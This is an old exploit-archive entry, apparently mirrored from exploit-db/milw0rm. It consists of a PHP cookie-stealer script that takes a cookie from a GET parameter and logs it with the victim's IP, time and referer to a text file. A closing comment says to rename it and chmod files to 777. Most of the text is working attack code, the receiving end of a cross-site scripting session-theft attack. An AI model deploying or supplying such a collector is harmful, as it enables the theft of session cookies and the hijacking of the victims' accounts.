exploit-db-mirror/platforms/php/webapps/1103.txt
Offensive Security fffbf04102 Updated
2013-12-03 19:44:07 +00:00

15 lines
489 B
Text
Executable file

// Original Author: 'Sjaak Rake' Ref: http://www.hackthissite.org/articles/read/175/
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookies.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
?>
//rename it to cookies.php and create one new file steal.php and chmod it to 777
# milw0rm.com [2005-07-13]